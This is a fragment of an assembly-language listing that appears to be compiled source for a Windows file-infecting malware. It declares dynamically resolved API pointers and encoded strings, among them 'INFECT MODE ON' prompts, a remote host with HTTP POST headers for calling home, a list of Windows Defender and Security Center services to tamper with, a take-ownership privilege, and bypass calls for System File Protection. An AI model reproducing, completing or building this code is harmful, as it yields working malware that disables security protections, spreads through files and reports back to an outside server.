	.type	__CloseServiceHandle,object
	.comm	__CloseServiceHandle,4
	.globl	__SetFileSecurity
	.align	2
	.type	__SetFileSecurity,object
	.comm	__SetFileSecurity,4
	.globl	__GetSidSubAuthorityCount
	.align	2
	.type	__GetSidSubAuthorityCount,object
	.comm	__GetSidSubAuthorityCount,4
	.globl	__GetSidSubAuthority
	.align	2
	.type	__GetSidSubAuthority,object
	.comm	__GetSidSubAuthority,4
	.globl	__GetSidIdentifierAuthority
	.align	2
	.type	__GetSidIdentifierAuthority,object
	.comm	__GetSidIdentifierAuthority,4
	.globl	__SetSecurityDescriptorOwner
	.align	2
	.type	__SetSecurityDescriptorOwner,object
	.comm	__SetSecurityDescriptorOwner,4
	.globl	__SetSecurityDescriptorDacl
	.align	2
	.type	__SetSecurityDescriptorDacl,object
	.comm	__SetSecurityDescriptorDacl,4
	.globl	__InitializeSecurityDescriptor
	.align	2
	.type	__InitializeSecurityDescriptor,object
	.comm	__InitializeSecurityDescriptor,4
	.globl	__AdjustTokenPrivileges
	.align	2
	.type	__AdjustTokenPrivileges,object
	.comm	__AdjustTokenPrivileges,4
	.globl	__GetTokenInformation
	.align	2
	.type	__GetTokenInformation,object
	.comm	__GetTokenInformation,4
	.globl	__LookupPrivilegeValue
	.align	2
	.type	__LookupPrivilegeValue,object
	.comm	__LookupPrivilegeValue,4
	.globl	__OpenProcessToken
	.align	2
	.type	__OpenProcessToken,object
	.comm	__OpenProcessToken,4
	.globl	__GetUserName
	.align	2
	.type	__GetUserName,object
	.comm	__GetUserName,4
	.globl	__RegCloseKey
	.align	2
	.type	__RegCloseKey,object
	.comm	__RegCloseKey,4
	.globl	__RegSetKeySecurity
	.align	2
	.type	__RegSetKeySecurity,object
	.comm	__RegSetKeySecurity,4
	.globl	__RegSetValueEx
	.align	2
	.type	__RegSetValueEx,object
	.comm	__RegSetValueEx,4
	.globl	__RegCreateKeyEx
	.align	2
	.type	__RegCreateKeyEx,object
	.comm	__RegCreateKeyEx,4
	.globl	__RegQueryValueEx
	.align	2
	.type	__RegQueryValueEx,object
	.comm	__RegQueryValueEx,4
	.globl	__RegEnumKeyEx
	.align	2
	.type	__RegEnumKeyEx,object
	.comm	__RegEnumKeyEx,4
	.globl	__RegOpenKeyEx
	.align	2
	.type	__RegOpenKeyEx,object
	.comm	__RegOpenKeyEx,4
	.globl	__CryptReleaseContext
	.align	2
	.type	__CryptReleaseContext,object
	.comm	__CryptReleaseContext,4
	.globl	__CryptDestroyHash
	.align	2
	.type	__CryptDestroyHash,object
	.comm	__CryptDestroyHash,4
	.globl	__CryptGetHashParam
	.align	2
	.type	__CryptGetHashParam,object
	.comm	__CryptGetHashParam,4
	.globl	__CryptHashData
	.align	2
	.type	__CryptHashData,object
	.comm	__CryptHashData,4
	.globl	__CryptCreateHash
	.align	2
	.type	__CryptCreateHash,object
	.comm	__CryptCreateHash,4
	.globl	__CryptAcquireContext
	.align	2
	.type	__CryptAcquireContext,object
	.comm	__CryptAcquireContext,4
	.globl	__SHGetFolderPath
	.align	2
	.type	__SHGetFolderPath,object
	.comm	__SHGetFolderPath,4
	.globl	__SfcFileException
	.align	2
	.type	__SfcFileException,object
	.comm	__SfcFileException,4
	.globl	__SfcIsFileProtected
	.align	2
	.type	__SfcIsFileProtected,object
	.comm	__SfcIsFileProtected,4
	.globl	__CharUpperBuff
	.align	2
	.type	__CharUpperBuff,object
	.comm	__CharUpperBuff,4
	.globl	__OemToChar
	.align	2
	.type	__OemToChar,object
	.comm	__OemToChar,4
	.globl	__EnumDesktopWindows
	.align	2
	.type	__EnumDesktopWindows,object
	.comm	__EnumDesktopWindows,4
	.globl	__FindWindowEx
	.align	2
	.type	__FindWindowEx,object
	.comm	__FindWindowEx,4
	.globl	__TranslateMessage
	.align	2
	.type	__TranslateMessage,object
	.comm	__TranslateMessage,4
	.globl	__ShowWindow
	.align	2
	.type	__ShowWindow,object
	.comm	__ShowWindow,4
	.globl	__SetWindowText
	.align	2
	.type	__SetWindowText,object
	.comm	__SetWindowText,4
	.globl	__SetWindowLong
	.align	2
	.type	__SetWindowLong,object
	.comm	__SetWindowLong,4
	.globl	__SetFocus
	.align	2
	.type	__SetFocus,object
	.comm	__SetFocus,4
	.globl	__SendMessage
	.align	2
	.type	__SendMessage,object
	.comm	__SendMessage,4
	.globl	__RegisterClass
	.align	2
	.type	__RegisterClass,object
	.comm	__RegisterClass,4
	.globl	__MoveWindow
	.align	2
	.type	__MoveWindow,object
	.comm	__MoveWindow,4
	.globl	__GetWindowText
	.align	2
	.type	__GetWindowText,object
	.comm	__GetWindowText,4
	.globl	__GetWindowRect
	.align	2
	.type	__GetWindowRect,object
	.comm	__GetWindowRect,4
	.globl	__GetWindowLong
	.align	2
	.type	__GetWindowLong,object
	.comm	__GetWindowLong,4
	.globl	__GetWindow
	.align	2
	.type	__GetWindow,object
	.comm	__GetWindow,4
	.globl	__GetMessage
	.align	2
	.type	__GetMessage,object
	.comm	__GetMessage,4
	.globl	__GetForegroundWindow
	.align	2
	.type	__GetForegroundWindow,object
	.comm	__GetForegroundWindow,4
	.globl	__GetClassName
	.align	2
	.type	__GetClassName,object
	.comm	__GetClassName,4
	.globl	__DispatchMessage
	.align	2
	.type	__DispatchMessage,object
	.comm	__DispatchMessage,4
	.globl	__DestroyWindow
	.align	2
	.type	__DestroyWindow,object
	.comm	__DestroyWindow,4
	.globl	__CreateWindowEx
	.align	2
	.type	__CreateWindowEx,object
	.comm	__CreateWindowEx,4
	.globl	__DefWindowProc
	.align	2
	.type	__DefWindowProc,object
	.comm	__DefWindowProc,4
	.globl	__CallWindowProc
	.align	2
	.type	__CallWindowProc,object
	.comm	__CallWindowProc,4
	.globl	__MessageBox
	.align	2
	.type	__MessageBox,object
	.comm	__MessageBox,4
	.globl	__wcslen
	.align	2
	.type	__wcslen,object
	.comm	__wcslen,4
	.globl	__vsprintf
	.align	2
	.type	__vsprintf,object
	.comm	__vsprintf,4
	.globl	__sprintf
	.align	2
	.type	__sprintf,object
	.comm	__sprintf,4
	.globl	__strcat
	.align	2
	.type	__strcat,object
	.comm	__strcat,4
	.globl	__rand
	.align	2
	.type	__rand,object
	.comm	__rand,4
	.globl	__srand
	.align	2
	.type	__srand,object
	.comm	__srand,4
	.globl	__memset
	.align	2
	.type	__memset,object
	.comm	__memset,4
	.globl	__memcpy
	.align	2
	.type	__memcpy,object
	.comm	__memcpy,4
	.globl	__memcmp
	.align	2
	.type	__memcmp,object
	.comm	__memcmp,4
	.globl	__malloc
	.align	2
	.type	__malloc,object
	.comm	__malloc,4
	.globl	__free
	.align	2
	.type	__free,object
	.comm	__free,4
	.globl	__atoi
	.align	2
	.type	__atoi,object
	.comm	__atoi,4
	.globl	___toupper
	.align	2
	.type	___toupper,object
	.comm	___toupper,4
	.globl	___sleep
	.align	2
	.type	___sleep,object
	.comm	___sleep,4
	.globl	__lstrcatA
	.align	2
	.type	__lstrcatA,object
	.comm	__lstrcatA,4
	.globl	__OutputDebugStringA
	.align	2
	.type	__OutputDebugStringA,object
	.comm	__OutputDebugStringA,4
	.globl	__IsBadReadPtr
	.align	2
	.type	__IsBadReadPtr,object
	.comm	__IsBadReadPtr,4
	.globl	__TerminateProcess
	.align	2
	.type	__TerminateProcess,object
	.comm	__TerminateProcess,4
	.globl	__TerminateThread
	.align	2
	.type	__TerminateThread,object
	.comm	__TerminateThread,4
	.globl	__GetExitCodeProcess
	.align	2
	.type	__GetExitCodeProcess,object
	.comm	__GetExitCodeProcess,4
	.globl	__CreateProcess
	.align	2
	.type	__CreateProcess,object
	.comm	__CreateProcess,4
	.globl	__CreatePipe
	.align	2
	.type	__CreatePipe,object
	.comm	__CreatePipe,4
	.globl	__PeekNamedPipe
	.align	2
	.type	__PeekNamedPipe,object
	.comm	__PeekNamedPipe,4
	.globl	__CreateDirectory
	.align	2
	.type	__CreateDirectory,object
	.comm	__CreateDirectory,4
	.globl	__GetComputerName
	.align	2
	.type	__GetComputerName,object
	.comm	__GetComputerName,4
	.globl	__GetEnvironmentStrings
	.align	2
	.type	__GetEnvironmentStrings,object
	.comm	__GetEnvironmentStrings,4
	.globl	__FreeEnvironmentStrings
	.align	2
	.type	__FreeEnvironmentStrings,object
	.comm	__FreeEnvironmentStrings,4
	.globl	__FreeLibrary
	.align	2
	.type	__FreeLibrary,object
	.comm	__FreeLibrary,4
	.globl	__WaitForSingleObject
	.align	2
	.type	__WaitForSingleObject,object
	.comm	__WaitForSingleObject,4
	.globl	__GetCurrentThreadId
	.align	2
	.type	__GetCurrentThreadId,object
	.comm	__GetCurrentThreadId,4
	.globl	__GetCurrentProcessId
	.align	2
	.type	__GetCurrentProcessId,object
	.comm	__GetCurrentProcessId,4
	.globl	__OpenProcess
	.align	2
	.type	__OpenProcess,object
	.comm	__OpenProcess,4
	.globl	__GetLocaleInfo
	.align	2
	.type	__GetLocaleInfo,object
	.comm	__GetLocaleInfo,4
	.globl	__GetVersionEx
	.align	2
	.type	__GetVersionEx,object
	.comm	__GetVersionEx,4
	.globl	__FindClose
	.align	2
	.type	__FindClose,object
	.comm	__FindClose,4
	.globl	__FileTimeToSystemTime
	.align	2
	.type	__FileTimeToSystemTime,object
	.comm	__FileTimeToSystemTime,4
	.globl	__CompareFileTime
	.align	2
	.type	__CompareFileTime,object
	.comm	__CompareFileTime,4
	.globl	__GetVolumeInformation
	.align	2
	.type	__GetVolumeInformation,object
	.comm	__GetVolumeInformation,4
	.globl	___InterlockedDecrement
	.align	2
	.type	___InterlockedDecrement,object
	.comm	___InterlockedDecrement,4
	.globl	___InterlockedIncrement
	.align	2
	.type	___InterlockedIncrement,object
	.comm	___InterlockedIncrement,4
	.globl	__GetSystemDirectory
	.align	2
	.type	__GetSystemDirectory,object
	.comm	__GetSystemDirectory,4
	.globl	__GetModuleFileName
	.align	2
	.type	__GetModuleFileName,object
	.comm	__GetModuleFileName,4
	.globl	__OpenMutex
	.align	2
	.type	__OpenMutex,object
	.comm	__OpenMutex,4
	.globl	__CreateMutex
	.align	2
	.type	__CreateMutex,object
	.comm	__CreateMutex,4
	.globl	__CopyFile
	.align	2
	.type	__CopyFile,object
	.comm	__CopyFile,4
	.globl	__GetDiskFreeSpace
	.align	2
	.type	__GetDiskFreeSpace,object
	.comm	__GetDiskFreeSpace,4
	.globl	__SetErrorMode
	.align	2
	.type	__SetErrorMode,object
	.comm	__SetErrorMode,4
	.globl	__GetExitCodeThread
	.align	2
	.type	__GetExitCodeThread,object
	.comm	__GetExitCodeThread,4
	.globl	__GetDriveType
	.align	2
	.type	__GetDriveType,object
	.comm	__GetDriveType,4
	.globl	__FindNextFile
	.align	2
	.type	__FindNextFile,object
	.comm	__FindNextFile,4
	.globl	__FindFirstFile
	.align	2
	.type	__FindFirstFile,object
	.comm	__FindFirstFile,4
	.globl	__GetTickCount
	.align	2
	.type	__GetTickCount,object
	.comm	__GetTickCount,4
	.globl	__lstrlen
	.align	2
	.type	__lstrlen,object
	.comm	__lstrlen,4
	.globl	__lstrlenW
	.align	2
	.type	__lstrlenW,object
	.comm	__lstrlenW,4
	.globl	__ZeroMemory
	.align	2
	.type	__ZeroMemory,object
	.comm	__ZeroMemory,4
	.globl	__WinExec
	.align	2
	.type	__WinExec,object
	.comm	__WinExec,4
	.globl	__WideCharToMultiByte
	.align	2
	.type	__WideCharToMultiByte,object
	.comm	__WideCharToMultiByte,4
	.globl	__VirtualFree
	.align	2
	.type	__VirtualFree,object
	.comm	__VirtualFree,4
	.globl	__VirtualAlloc
	.align	2
	.type	__VirtualAlloc,object
	.comm	__VirtualAlloc,4
	.globl	__ReadFile
	.align	2
	.type	__ReadFile,object
	.comm	__ReadFile,4
	.globl	__MultiByteToWideChar
	.align	2
	.type	__MultiByteToWideChar,object
	.comm	__MultiByteToWideChar,4
	.globl	__LocalFree
	.align	2
	.type	__LocalFree,object
	.comm	__LocalFree,4
	.globl	__LocalAlloc
	.align	2
	.type	__LocalAlloc,object
	.comm	__LocalAlloc,4
	.globl	__GetTempPath
	.align	2
	.type	__GetTempPath,object
	.comm	__GetTempPath,4
	.globl	__GetSystemTime
	.align	2
	.type	__GetSystemTime,object
	.comm	__GetSystemTime,4
	.globl	__GetFileSize
	.align	2
	.type	__GetFileSize,object
	.comm	__GetFileSize,4
	.globl	__CloseHandle
	.align	2
	.type	__CloseHandle,object
	.comm	__CloseHandle,4
	.globl	__WriteFile
	.align	2
	.type	__WriteFile,object
	.comm	__WriteFile,4
	.globl	__SetFilePointer
	.align	2
	.type	__SetFilePointer,object
	.comm	__SetFilePointer,4
	.globl	__DeleteFile
	.align	2
	.type	__DeleteFile,object
	.comm	__DeleteFile,4
	.globl	__CreateFile
	.align	2
	.type	__CreateFile,object
	.comm	__CreateFile,4
	.globl	__LoadLibrary
	.align	2
	.type	__LoadLibrary,object
	.comm	__LoadLibrary,4
	.globl	__GetModuleHandle
	.align	2
	.type	__GetModuleHandle,object
	.comm	__GetModuleHandle,4
	.globl	__ExitThread
	.align	2
	.type	__ExitThread,object
	.comm	__ExitThread,4
	.globl	__IsBadStringPtrW
	.align	2
	.type	__IsBadStringPtrW,object
	.comm	__IsBadStringPtrW,4
	.globl	__Process32Next
	.align	2
	.type	__Process32Next,object
	.comm	__Process32Next,4
	.globl	__Process32First
	.align	2
	.type	__Process32First,object
	.comm	__Process32First,4
	.globl	__CreateToolhelp32Snapshot
	.align	2
	.type	__CreateToolhelp32Snapshot,object
	.comm	__CreateToolhelp32Snapshot,4
	.globl	__VirtualProtect
	.align	2
	.type	__VirtualProtect,object
	.comm	__VirtualProtect,4
	.globl	__Sleep
	.align	2
	.type	__Sleep,object
	.comm	__Sleep,4
	.globl	__LeaveCriticalSection
	.align	2
	.type	__LeaveCriticalSection,object
	.comm	__LeaveCriticalSection,4
	.globl	__InitializeCriticalSection
	.align	2
	.type	__InitializeCriticalSection,object
	.comm	__InitializeCriticalSection,4
	.globl	__EnterCriticalSection
	.align	2
	.type	__EnterCriticalSection,object
	.comm	__EnterCriticalSection,4
	.globl	__CreateThread
	.align	2
	.type	__CreateThread,object
	.comm	__CreateThread,4
	.globl	__GetProcAddress
	.align	2
	.type	__GetProcAddress,object
	.comm	__GetProcAddress,4
	.extern	_VirtualFree@12
	.extern	_FreeLibrary@4
	.extern	_GetModuleHandleA@4
	.extern	_lstrlenA@4
	.extern	_lstrcmpiA@8
	.extern	_strcpy@8
	.extern	__sleep
	.data
_$1724:
; "kernel32.dll\x0"
	.byte	107,101,114,110,101,108,51,50,46,100,108,108,0
_$1709:
; "%s_mtx1\x0"
	.byte	37,115,95,109,116,120,49,0
_$1700:
; "gazavat-svc\x0"
	.byte	103,97,122,97,118,97,116,45,115,118,99,0
_$1699:
; "%s_%u\x0"
	.byte	37,115,95,37,117,0
_$1698:
; "000\x0"
	.byte	48,48,48,0
_$1693:
; "no kkqvx.dll, cant infect\x0"
	.byte	110,111,32,107,107,113,118,120,46,100,108,108,44,32,99,97
	.byte	110,116,32,105,110,102,101,99,116,0
_$1692:
; "INFECT MODE ON: the last warning! Are u sure? Kill process if NO.\x0"
	.byte	73,78,70,69,67,84,32,77,79,68,69,32,79,78,58,32
	.byte	116,104,101,32,108,97,115,116,32,119,97,114,110,105,110
	.byte	103,33,32,65,114,101,32,117,32,115,117,114,101,63,32
	.byte	75,105,108,108,32,112,114,111,99,101,115,115,32,105,102
	.byte	32,78,79,46,0
_$1691:
; "INFECT MODE ON: found kkqvx.dll, kill process now if launched by mistake\x0"
	.byte	73,78,70,69,67,84,32,77,79,68,69,32,79,78,58,32
	.byte	102,111,117,110,100,32,107,107,113,118,120,46,100,108,108
	.byte	44,32,107,105,108,108,32,112,114,111,99,101,115,115,32
	.byte	110,111,119,32,105,102,32,108,97,117,110,99,104,101,100
	.byte	32,98,121,32,109,105,115,116,97,107,101,0
_$1688:
; "kkqvx.dll\x0"
	.byte	107,107,113,118,120,46,100,108,108,0
_$1674:
; "kkq-vx\x0"
	.byte	107,107,113,45,118,120,0
_$1673:
; "%s_mtx%u\x0"
	.byte	37,115,95,109,116,120,37,117,0
_$1658:
; "not init dll\x0"
	.byte	110,111,116,32,105,110,105,116,32,100,108,108,0
_$1657:
; "not found func\x0"
	.byte	110,111,116,32,102,111,117,110,100,32,102,117,110,99,0
_$1656:
; "8\x0"
	.byte	56,0
_$1653:
; "7\x0"
	.byte	55,0
_$1652:
; "TestRun\x0"
	.byte	84,101,115,116,82,117,110,0
_$1651:
; "6\x0"
	.byte	54,0
_$1648:
; "5\x0"
	.byte	53,0
_$1647:
; "4\x0"
	.byte	52,0
_$1646:
; "c:\test.bin\x0"
	.byte	99,58,92,116,101,115,116,46,98,105,110,0
_$1643:
; "3\x0"
	.byte	51,0
_$1642:
; "1\x0"
	.byte	49,0
_$1640:
; "testdll.dll\x0"
	.byte	116,101,115,116,100,108,108,46,100,108,108,0
_$1464:
; "Content-Length: 3\x0"
	.byte	67,111,110,116,101,110,116,45,76,101,110,103,116,104,58,32
	.byte	51,0
_$1463:
; "Content-Type: application/x-www-form-urlencoded\x0"
	.byte	67,111,110,116,101,110,116,45,84,121,112,101,58,32,97,112
	.byte	112,108,105,99,97,116,105,111,110,47,120,45,119,119,119
	.byte	45,102,111,114,109,45,117,114,108,101,110,99,111,100,101
	.byte	100,0
_$1462:
; "Accept: */*\x0"
	.byte	65,99,99,101,112,116,58,32,42,47,42,0
_$1454:
; "POST\x0"
	.byte	80,79,83,84,0
_$1415:
; "b=1\x0"
	.byte	98,61,49,0
_$1409:
; ".7z\x0"
	.byte	46,55,122,0
_$1408:
; ".inc\x0"
	.byte	46,105,110,99,0
_$1407:
; ".phtm\x0"
	.byte	46,112,104,116,109,0
_$1406:
; ".php3\x0"
	.byte	46,112,104,112,51,0
_$1405:
; ".phtml\x0"
	.byte	46,112,104,116,109,108,0
_$1404:
; "rus.gipa.in\x0"
	.byte	114,117,115,46,103,105,112,97,46,105,110,0
_$1403:
; "bRS8yYQ0APq9xfzC\x0"
	.byte	98,82,83,56,121,89,81,48,65,80,113,57,120,102,122,67
	.byte	0
_$1096:
; "%s%s\\x0"
	.byte	37,115,37,115,92,0
_$1084:
; "%s*\x0"
	.byte	37,115,42,0
_$1079:
; "%c:\\x0"
	.byte	37,99,58,92,0
_$1041:
; "taskmgr.\x0"
	.byte	116,97,115,107,109,103,114,46,0
_$1038:
; "rundll32.\x0"
	.byte	114,117,110,100,108,108,51,50,46,0
_$1035:
; "init.\x0"
	.byte	105,110,105,116,46,0
_$1032:
; "cmd.\x0"
	.byte	99,109,100,46,0
_$1029:
; "xplore.\x0"
	.byte	120,112,108,111,114,101,46,0
_$1026:
; "xplorer.\x0"
	.byte	120,112,108,111,114,101,114,46,0
_$971:
; "\\x0"
	.byte	92,0
_$826:
; "PACK\x0"
	.byte	80,65,67,75,0
_$527:
; "svchost\x0"
	.byte	115,118,99,104,111,115,116,0
_$524:
; ".exe\x0"
	.byte	46,101,120,101,0
_$516:
; "|\x0"
	.byte	124,0
_$503:
; "systemprofile\x0"
	.byte	115,121,115,116,101,109,112,114,111,102,105,108,101,0
_$500:
; "ervice\x0"
	.byte	101,114,118,105,99,101,0
_$491:
; "$\x0"
	.byte	36,0
_$490:
; " SERVICE\x0"
	.byte	32,83,69,82,86,73,67,69,0
_$487:
; "SYSTEM\x0"
	.byte	83,89,83,84,69,77,0
_$478:
; "|wscsvc|WinDefend|MsMpSvc|NisSrv|\x0"
	.byte	124,119,115,99,115,118,99,124,87,105,110,68,101,102,101,110
	.byte	100,124,77,115,77,112,83,118,99,124,78,105,115,83,114
	.byte	118,124,0
_$458:
; "SeTakeOwnershipPrivilege\x0"
	.byte	83,101,84,97,107,101,79,119,110,101,114,115,104,105,112,80
	.byte	114,105,118,105,108,101,103,101,0
_$355:
; "/*@S|*/00CryptStringToBinaryA/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,67,114,121,112,116,83,116
	.byte	114,105,110,103,84,111,66,105,110,97,114,121,65,47,42
	.byte	64,69,42,47,124,0
_$352:
; "crypt32.dll\x0"
	.byte	99,114,121,112,116,51,50,46,100,108,108,0
_$347:
; "/*@S|*/00ObtainUserAgentString/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,79,98,116,97,105,110,85
	.byte	115,101,114,65,103,101,110,116,83,116,114,105,110,103,47
	.byte	42,64,69,42,47,124,0
_$344:
; "urlmon.dll\x0"
	.byte	117,114,108,109,111,110,46,100,108,108,0
_$339:
; "/*@S|*/00InternetReadFile|01InternetOpenA|02InternetConnectA|03HttpOpenRequestA|04HttpAddRequestHeadersA|05HttpSendRequestA|06InternetCloseHandle/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,73,110,116,101,114,110,101
	.byte	116,82,101,97,100,70,105,108,101,124,48,49,73,110,116
	.byte	101,114,110,101,116,79,112,101,110,65,124,48,50,73,110
	.byte	116,101,114,110,101,116,67,111,110,110,101,99,116,65,124
	.byte	48,51,72,116,116,112,79,112,101,110,82,101,113,117,101
	.byte	115,116,65,124,48,52,72,116,116,112,65,100,100,82,101
	.byte	113,117,101,115,116,72,101,97,100,101,114,115,65,124,48
	.byte	53,72,116,116,112,83,101,110,100,82,101,113,117,101,115
	.byte	116,65,124,48,54,73,110,116,101,114,110,101,116,67,108
	.byte	111,115,101,72,97,110,100,108,101,47,42,64,69,42,47
	.byte	124,0
_$336:
; "wininet.dll\x0"
	.byte	119,105,110,105,110,101,116,46,100,108,108,0
_$319:
; "/*@S|*/00RegOpenKeyExA|01RegQueryValueExA|02RegCreateKeyExA|03RegSetValueExA|04RegCloseKey|05GetUserNameA|06OpenProcessToken|07LookupPrivilegeValueA|08GetTokenInformation|09AdjustTokenPrivileges|10InitializeSecurityDescriptor|11SetSecurityDescriptorDacl|12SetSecurityDescriptorOwner|13GetSidIdentifierAuthority|14GetSidSubAuthority|15GetSidSubAuthorityCount|16SetFileSecurityA|17CloseServiceHandle|18QueryServiceConfigA|19EnumServicesStatusA|20OpenServiceA|21OpenSCManagerA|22StartServiceA|23ChangeServiceConfigA|24CryptAcquireContextA|25CryptCreateHash|26CryptHashData|27CryptGetHashParam|28CryptDestroyHash|29CryptReleaseContext|30ControlService|31RegEnumKeyExA|32RegSetKeySecurity|33CryptDecrypt|34CryptDestroyKey|35CryptReleaseContext|36CryptAcquireContextA|37CryptImportKey|38CryptSetKeyParam|39CryptSetKeyParam|40CryptDestroyKey|41CryptReleaseContext/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,82,101,103,79,112,101,110
	.byte	75,101,121,69,120,65,124,48,49,82,101,103,81,117,101
	.byte	114,121,86,97,108,117,101,69,120,65,124,48,50,82,101
	.byte	103,67,114,101,97,116,101,75,101,121,69,120,65,124,48
	.byte	51,82,101,103,83,101,116,86,97,108,117,101,69,120,65
	.byte	124,48,52,82,101,103,67,108,111,115,101,75,101,121,124
	.byte	48,53,71,101,116,85,115,101,114,78,97,109,101,65,124
	.byte	48,54,79,112,101,110,80,114,111,99,101,115,115,84,111
	.byte	107,101,110,124,48,55,76,111,111,107,117,112,80,114,105
	.byte	118,105,108,101,103,101,86,97,108,117,101,65,124,48,56
	.byte	71,101,116,84,111,107,101,110,73,110,102,111,114,109,97
	.byte	116,105,111,110,124,48,57,65,100,106,117,115,116,84,111
	.byte	107,101,110,80,114,105,118,105,108,101,103,101,115,124,49
	.byte	48,73,110,105,116,105,97,108,105,122,101,83,101,99,117
	.byte	114,105,116,121,68,101,115,99,114,105,112,116,111,114,124
	.byte	49,49,83,101,116,83,101,99,117,114,105,116,121,68,101
	.byte	115,99,114,105,112,116,111,114,68,97,99,108,124,49,50
	.byte	83,101,116,83,101,99,117,114,105,116,121,68,101,115,99
	.byte	114,105,112,116,111,114,79,119,110,101,114,124,49,51,71
	.byte	101,116,83,105,100,73,100,101,110,116,105,102,105,101,114
	.byte	65,117,116,104,111,114,105,116,121,124,49,52,71,101,116
	.byte	83,105,100,83,117,98,65,117,116,104,111,114,105,116,121
	.byte	124,49,53,71,101,116,83,105,100,83,117,98,65,117,116
	.byte	104,111,114,105,116,121,67,111,117,110,116,124,49,54,83
	.byte	101,116,70,105,108,101,83,101,99,117,114,105,116,121,65
	.byte	124,49,55,67,108,111,115,101,83,101,114,118,105,99,101
	.byte	72,97,110,100,108,101,124,49,56,81,117,101,114,121,83
	.byte	101,114,118,105,99,101,67,111,110,102,105,103,65,124,49
	.byte	57,69,110,117,109,83,101,114,118,105,99,101,115,83,116
	.byte	97,116,117,115,65,124,50,48,79,112,101,110,83,101,114
	.byte	118,105,99,101,65,124,50,49,79,112,101,110,83,67,77
	.byte	97,110,97,103,101,114,65,124,50,50,83,116,97,114,116
	.byte	83,101,114,118,105,99,101,65,124,50,51,67,104,97,110
	.byte	103,101,83,101,114,118,105,99,101,67,111,110,102,105,103
	.byte	65,124,50,52,67,114,121,112,116,65,99,113,117,105,114
	.byte	101,67,111,110,116,101,120,116,65,124,50,53,67,114,121
	.byte	112,116,67,114,101,97,116,101,72,97,115,104,124,50,54
	.byte	67,114,121,112,116,72,97,115,104,68,97,116,97,124,50
	.byte	55,67,114,121,112,116,71,101,116,72,97,115,104,80,97
	.byte	114,97,109,124,50,56,67,114,121,112,116,68,101,115,116
	.byte	114,111,121,72,97,115,104,124,50,57,67,114,121,112,116
	.byte	82,101,108,101,97,115,101,67,111,110,116,101,120,116,124
	.byte	51,48,67,111,110,116,114,111,108,83,101,114,118,105,99
	.byte	101,124,51,49,82,101,103,69,110,117,109,75,101,121,69
	.byte	120,65,124,51,50,82,101,103,83,101,116,75,101,121,83
	.byte	101,99,117,114,105,116,121,124,51,51,67,114,121,112,116
	.byte	68,101,99,114,121,112,116,124,51,52,67,114,121,112,116
	.byte	68,101,115,116,114,111,121,75,101,121,124,51,53,67,114
	.byte	121,112,116,82,101,108,101,97,115,101,67,111,110,116,101
	.byte	120,116,124,51,54,67,114,121,112,116,65,99,113,117,105
	.byte	114,101,67,111,110,116,101,120,116,65,124,51,55,67,114
	.byte	121,112,116,73,109,112,111,114,116,75,101,121,124,51,56
	.byte	67,114,121,112,116,83,101,116,75,101,121,80,97,114,97
	.byte	109,124,51,57,67,114,121,112,116,83,101,116,75,101,121
	.byte	80,97,114,97,109,124,52,48,67,114,121,112,116,68,101
	.byte	115,116,114,111,121,75,101,121,124,52,49,67,114,121,112
	.byte	116,82,101,108,101,97,115,101,67,111,110,116,101,120,116
	.byte	47,42,64,69,42,47,124,0
_$316:
; "advapi32.dll\x0"
	.byte	97,100,118,97,112,105,51,50,46,100,108,108,0
_$310:
; "SHGetFolderPathA\x0"
	.byte	83,72,71,101,116,70,111,108,100,101,114,80,97,116,104,65
	.byte	0
_$307:
; "shell32.dll\x0"
	.byte	115,104,101,108,108,51,50,46,100,108,108,0
_$297:
; "sfc_os.dll\x0"
	.byte	115,102,99,95,111,115,46,100,108,108,0
_$291:
; "SfcIsFileProtected\x0"
	.byte	83,102,99,73,115,70,105,108,101,80,114,111,116,101,99,116
	.byte	101,100,0
_$286:
; "sfc.dll\x0"
	.byte	115,102,99,46,100,108,108,0
_$281:
; "/*@S|*/00CallWindowProcA|01CreateWindowExA|02DefWindowProcA|03DestroyWindow|04DispatchMessageA|05GetClassNameA|06GetForegroundWindow|07GetMessageA|08GetWindow|09GetWindowLongA|10GetWindowRect|11GetWindowTextA|12MessageBoxA|13MoveWindow|14RegisterClassA|15SendMessageA|16SetFocus|17SetWindowLongA|18SetWindowTextA|19ShowWindow|20TranslateMessage|21FindWindowExA|22EnumDesktopWindows|23OemToCharA|24CharUpperBuffA/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,67,97,108,108,87,105,110
	.byte	100,111,119,80,114,111,99,65,124,48,49,67,114,101,97
	.byte	116,101,87,105,110,100,111,119,69,120,65,124,48,50,68
	.byte	101,102,87,105,110,100,111,119,80,114,111,99,65,124,48
	.byte	51,68,101,115,116,114,111,121,87,105,110,100,111,119,124
	.byte	48,52,68,105,115,112,97,116,99,104,77,101,115,115,97
	.byte	103,101,65,124,48,53,71,101,116,67,108,97,115,115,78
	.byte	97,109,101,65,124,48,54,71,101,116,70,111,114,101,103
	.byte	114,111,117,110,100,87,105,110,100,111,119,124,48,55,71
	.byte	101,116,77,101,115,115,97,103,101,65,124,48,56,71,101
	.byte	116,87,105,110,100,111,119,124,48,57,71,101,116,87,105
	.byte	110,100,111,119,76,111,110,103,65,124,49,48,71,101,116
	.byte	87,105,110,100,111,119,82,101,99,116,124,49,49,71,101
	.byte	116,87,105,110,100,111,119,84,101,120,116,65,124,49,50
	.byte	77,101,115,115,97,103,101,66,111,120,65,124,49,51,77
	.byte	111,118,101,87,105,110,100,111,119,124,49,52,82,101,103
	.byte	105,115,116,101,114,67,108,97,115,115,65,124,49,53,83
	.byte	101,110,100,77,101,115,115,97,103,101,65,124,49,54,83
	.byte	101,116,70,111,99,117,115,124,49,55,83,101,116,87,105
	.byte	110,100,111,119,76,111,110,103,65,124,49,56,83,101,116
	.byte	87,105,110,100,111,119,84,101,120,116,65,124,49,57,83
	.byte	104,111,119,87,105,110,100,111,119,124,50,48,84,114,97
	.byte	110,115,108,97,116,101,77,101,115,115,97,103,101,124,50
	.byte	49,70,105,110,100,87,105,110,100,111,119,69,120,65,124
	.byte	50,50,69,110,117,109,68,101,115,107,116,111,112,87,105
	.byte	110,100,111,119,115,124,50,51,79,101,109,84,111,67,104
	.byte	97,114,65,124,50,52,67,104,97,114,85,112,112,101,114
	.byte	66,117,102,102,65,47,42,64,69,42,47,124,0
_$278:
; "user32.dll\x0"
	.byte	117,115,101,114,51,50,46,100,108,108,0
_$275:
